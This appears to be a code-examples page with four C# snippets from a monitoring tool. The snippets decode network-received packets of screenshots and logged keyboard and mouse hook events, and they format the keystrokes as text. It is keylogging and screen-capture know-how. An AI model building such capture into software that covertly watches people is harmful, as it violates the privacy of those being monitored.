Beispiel #1
0
 /// <summary>
 /// Callback on 7z task completed. Dispatches final compressed data bytes / Parses the extracted received data files
 /// </summary>
 /// <param name="owner">Sender's Id</param>
 /// <param name="e">Event options</param>
 /// <param name="errorOccured">Whether error occurred in opertaion</param>
 private void cmp_OnComplete(int owner, CompressionEventArgs e, bool errorOccured)
 {
     //this.DebugEvent("7z: " + e.Operation.ToString() + ", " + errorOccured);
     this._neuroLog.WriteFormat("Decoded Operation Complete", "Operation: {0}\nTarget File: {1}\nError Occured: {2}", e.Operation, e.TargetFile, errorOccured);
     if (e.Operation == NX.Collections.Compression7z.Action.Compress)
     {
         if (!errorOccured && File.Exists(e.TargetFile))
         {
             this.DispatchData(owner, ActionCenter.ActionType.CaptureStream, File.ReadAllBytes(e.TargetFile + ".7z"));
         }
     }
     else
     {
         if (!errorOccured)
         {
             File.Delete(e.TargetFile);
             //this.DebugEvent("Checking files in: " + Directory.GetParent(e.TargetFile).FullName);
             foreach (string f in Directory.GetFiles(Directory.GetParent(e.TargetFile).FullName))
             {
                 CapturePacket cp = new CapturePacket();
                 cp.ReadDecoded(f);
                 if (this.ReceivedCapture != null)
                 {
                     this.ReceivedCapture(owner, (cp.ScreenShot.Length != 0) ? Image.FromStream(cp.ScreenShot) : null, HookEventHelper.StreamToHookEvents(cp.Log));
                 }
             }
         }
         //this._decodeDisposeDir.Dispose();
     }
 }
Beispiel #2
0
        /// <summary>
        /// Converts a list of hook events to string
        /// </summary>
        /// <param name="args">List of HookEventArgs objects</param>
        /// <returns>String representing the list of events</returns>
        public static string HookEventsToString(HookEventArgs[] args)
        {
            string eventStr = "";

            foreach (HookEventArgs arg in args)
            {
                string str = "";
                if ((arg as MouseHookEventArgsEx) != null)
                {
                    MouseHookEventArgsEx e = arg as MouseHookEventArgsEx;
                    switch (e.Type)
                    {
                    case HookEventCodec.EventType.MouseDown:
                        str = String.Format("[Mouse Down: {0} | {1},{2} : {3}]", e.Button.ToString(), e.Location.X, e.Location.Y, HookEventHelper.GetModifierString(e));
                        break;

                    case HookEventCodec.EventType.MouseClick:
                        str = String.Format("[Mouse Click: {0}#{1} | {2},{3} : {4}]", e.Button.ToString(), e.ClickCount, e.Location.X, e.Location.Y, HookEventHelper.GetModifierString(e));
                        break;

                    case HookEventCodec.EventType.MouseDoubleClick:
                        str = String.Format("[Double Click: {0} | {1},{2} : {3}]", e.Button.ToString(), e.Location.X, e.Location.Y, HookEventHelper.GetModifierString(e));
                        break;

                    case HookEventCodec.EventType.MouseUp:
                        str = String.Format("[Mouse Up: {0} | {1},{2} : {3}]", e.Button.ToString(), e.Location.X, e.Location.Y, HookEventHelper.GetModifierString(e));
                        break;

                    case HookEventCodec.EventType.MouseMove:
                        str = String.Format("[Mouse Move | {0},{1} : {2}]", e.Location.X, e.Location.Y, HookEventHelper.GetModifierString(e));
                        break;

                    case HookEventCodec.EventType.MouseWheel:
                        str = String.Format("[Mouse Scroll: {0} | {1},{2} : {3}]", e.ScrollAmount, e.Location.X, e.Location.Y, HookEventHelper.GetModifierString(e));
                        break;
                    }
                }
                else if ((arg as KeyHookEventArgsEx) != null)
                {
                    KeyHookEventArgsEx e     = arg as KeyHookEventArgsEx;
                    List <string>      pKeys = new List <string>();
                    foreach (byte b in e.PressedKeys)
                    {
                        if (b != 0)
                        {
                            pKeys.Add(((Keys)b).ToString());
                        }
                    }

                    switch (e.Type)
                    {
                    case HookEventCodec.EventType.KeyDown:
                        str = String.Format("[Down: {0} : {1}]", String.Join(" + ", pKeys.ToArray()), HookEventHelper.GetModifierString(e));
                        break;

                    case HookEventCodec.EventType.KeyPress:
                        str = String.Format("[{0} : {1}]", String.Join(" + ", pKeys.ToArray()), HookEventHelper.GetModifierString(e));
                        break;

                    case HookEventCodec.EventType.KeyUp:
                        str = String.Format("[Up: {0} : {1}]", String.Join(" + ", pKeys.ToArray()), HookEventHelper.GetModifierString(e));
                        break;
                    }
                    if (e.KeyChar != '\0')
                    {
                        str += e.KeyChar;
                    }
                }
                str.Trim();
                if (str != "")
                {
                    eventStr += str + Environment.NewLine;
                }
            }
            return(eventStr.Trim());
        }
Beispiel #3
0
 /// <summary>
 /// Decodes the capture data received over the network stream
 /// </summary>
 /// <param name="owner">Sender's Id</param>
 /// <param name="bytes">Data bytes</param>
 /// <param name="isSingleCapture">Live stream or buffered stream</param>
 public void DecodeCapture(int owner, byte[] bytes, bool isSingleCapture)
 {
     //this._neuroLog.WriteFormat("Decoding Capture", "Owner: {0}\nSingle Capture: {1}", owner, isSingleCapture);
     if (isSingleCapture)
     {
         CapturePacket cp = new CapturePacket();
         cp.Decode(new MemoryStream(bytes));
         //this._neuroLog.WriteFormat("Decoded Capture Packet", "Capture Packet: {0}", cp);
         if (this.ReceivedCapture != null)
         {
             this.ReceivedCapture(owner, (cp.ScreenShot.Length != 0) ? Image.FromStream(cp.ScreenShot) : null, HookEventHelper.StreamToHookEvents(cp.Log));
         }
     }
     else
     {
         this._decodeDisposeDir = new DisposableDirectory();
         //this.DebugEvent("New decodeDDir: " + this._decodeDisposeDir);
         string fileName = Path.Combine(this._decodeDisposeDir.DirectoryPath, Path.GetRandomFileName()) + ".7z";
         File.WriteAllBytes(fileName, bytes);                                                                // Write file bytes to disk
         this._bufferedOperator.AddTask(owner, false, this._decodeDisposeDir, new string[] { fileName });    // Queue extraction task
         this._neuroLog.WriteFormat("Decoded Capture Queued", "File: {0}", fileName);
         //this.DebugEvent("Extract: " + fileName);
     }
 }
Beispiel #4
0
 /// <summary>
 /// Converts log stream to string representation
 /// </summary>
 /// <param name="ls">Event log stream</param>
 /// <returns>String representation</returns>
 public static string StreamToString(Stream ls)
 {
     return(HookEventHelper.HookEventsToString(StreamToHookEvents(ls)));
 }